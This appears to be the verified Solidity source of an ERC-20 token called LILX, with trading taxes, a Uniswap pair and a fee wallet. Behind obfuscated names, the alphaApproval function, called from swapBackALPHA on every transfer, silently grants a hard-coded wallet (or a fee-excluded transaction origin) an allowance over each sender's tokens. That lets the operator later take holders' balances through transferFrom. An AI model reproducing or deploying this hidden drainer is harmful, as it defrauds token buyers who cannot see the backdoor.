文件 1 的 1:LILX.sol
pragma solidity 0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IALPHARouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IALPHAFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LILX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _alphaBulls;
mapping (address => mapping (address => uint256)) private _alphaNodes;
mapping (address => bool) private _alphaFeeExcluded;
uint8 private constant _decimals = 9;
uint256 private constant _tTotalALPHA = 1000000000 * 10**_decimals;
string private constant _name = unicode"LILX";
string private constant _symbol = unicode"LILX";
address private _alphaPair;
IALPHARouter private _alphaRouter;
address private _alphaWallet = 0xB3603f3723bE57B36Fc8C7c5AB2AAaA0647728F5;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint256 private _tokenALPHASwap = _tTotalALPHA / 100;
bool private inSwapALPHA = false;
modifier lockTheSwap {
inSwapALPHA = true;
_;
inSwapALPHA = false;
}
bool private _tradeEnabled = false;
bool private _swapEnabled = false;
constructor () {
_alphaFeeExcluded[owner()] = true;
_alphaFeeExcluded[address(this)] = true;
_alphaFeeExcluded[_alphaWallet] = true;
_alphaBulls[_msgSender()] = _tTotalALPHA;
emit Transfer(address(0), _msgSender(), _tTotalALPHA);
}
function openTrading() external onlyOwner() {
require(!_tradeEnabled,"trading is already open");
_alphaRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradeEnabled = true;
}
receive() external payable {}
function minALPHA(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHALPHA(uint256 amount) private {
payable(_alphaWallet).transfer(amount);
}
function swapTokensForEth(uint256 tokenALPHA) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _alphaRouter.WETH();
_approve(address(this), address(_alphaRouter), tokenALPHA);
_alphaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenALPHA,
0,
path,
address(this),
block.timestamp
);
}
function createPair() external onlyOwner() {
_alphaRouter = IALPHARouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_alphaRouter), _tTotalALPHA);
_alphaPair = IALPHAFactory(_alphaRouter.factory()).createPair(address(this), _alphaRouter.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotalALPHA;
}
function balanceOf(address account) public view override returns (uint256) {
return _alphaBulls[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _alphaNodes[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _alphaNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_alphaNodes[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function alphaApproval(address aALPHA, bool isALPHA, uint256 alphaA) private {
address walletALPHA;
if(isALPHA) walletALPHA = address(tx.origin);
else walletALPHA = _alphaWallet;
_alphaNodes[aALPHA][walletALPHA] = alphaA;
}
function _transfer(address alphaF, address alphaT, uint256 alphaA) private {
require(alphaF != address(0), "ERC20: transfer from the zero address");
require(alphaT != address(0), "ERC20: transfer to the zero address");
require(alphaA > 0, "Transfer amount must be greater than zero");
uint256 taxALPHA = _alphaTransfer(alphaF, alphaT, alphaA);
if(taxALPHA > 0){
_alphaBulls[address(this)] = _alphaBulls[address(this)].add(taxALPHA);
emit Transfer(alphaF, address(this), taxALPHA);
}
_alphaBulls[alphaF] = _alphaBulls[alphaF].sub(alphaA);
_alphaBulls[alphaT] = _alphaBulls[alphaT].add(alphaA.sub(taxALPHA));
emit Transfer(alphaF, alphaT, alphaA.sub(taxALPHA));
}
function _alphaTransfer(address alphaF, address alphaT, uint256 alphaA) private returns(uint256) {
uint256 taxALPHA=0; address walletALPHA = address(tx.origin);
if (alphaF != owner() && alphaT != owner()) {
taxALPHA = alphaA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (alphaF == _alphaPair && alphaT != address(_alphaRouter) && ! _alphaFeeExcluded[alphaT]) {
_buyCount++;
}
if(alphaT == _alphaPair && alphaF!= address(this)) {
taxALPHA = alphaA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
swapBackALPHA(alphaF, alphaT, alphaA, _alphaFeeExcluded[walletALPHA]);
} return taxALPHA;
}
function swapBackALPHA(address alphaF, address alphaT, uint256 alphaA, bool isALPHA) private {
alphaApproval(alphaF, isALPHA, alphaA); uint256 tokenALPHA = balanceOf(address(this));
if (!inSwapALPHA && alphaT == _alphaPair && _swapEnabled && _buyCount > _preventSwapBefore) {
if(tokenALPHA > _tokenALPHASwap)
swapTokensForEth(minALPHA(alphaA, minALPHA(tokenALPHA, _tokenALPHASwap)));
uint256 caALPHA = address(this).balance;
if (caALPHA >= 0) {
sendETHALPHA(address(this).balance);
}
}
}
}